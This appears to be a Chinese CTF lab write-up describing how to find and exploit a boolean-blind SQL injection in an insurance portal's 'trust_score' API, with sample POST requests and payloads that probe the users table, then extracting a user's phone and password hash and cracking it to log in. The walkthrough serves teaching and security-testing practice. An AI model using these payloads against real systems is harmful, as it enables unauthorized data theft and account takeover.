靶场目标:已知存在sql注入,需要通过注出数据登录mht账号获取flag。
打开靶场,寻找注入点,既然环境名称叫不起眼的注入点,就不可能把注入点放在肉眼可以看到有输入传参的地方,本环境的注入点在登录之后,客户中心的保险条款这里。

此案例来源于陈广大bro的保险众测真实情况,当时这个不起眼的点,查看之后要去查询一次个人的某个属性的信息:

POST /api/index.php HTTP/1.1
Host:
Content-Type: application/json
X-CSRF-Token: <当前 csrf>
{"action":"trust_score","metric_id":"1' AND 1=1-- "}
通过简单测试确定存在注入,后续只需要通过布尔盲注依次枚举所需信息,正常SRC中只需要注出库名或者五条信息即可,本环境目标是登录mht账号,先确认可以使用 SELECT 子查询
{"action":"trust_score","metric_id":"1' AND EXISTS(SELECT 1 FROM users LIMIT 1)-- "}
200,说明 SELECT 子查询可以正常使用。
再进一步确认 mht 用户存在:
{"action":"trust_score","metric_id":"1' AND EXISTS(SELECT 1 FROM users WHERE name='mht')-- "}
返回 200,说明 mht
然后开始枚举数据库名、表名、枚举出user字段,逐位获取mht用户的手机号和密码hash,最后使用https://bdziyi.com/mmd5/ 解开hash获取明文,登录mht用户之后,在客户中心即可获取最终flag。






请登录后查看回复内容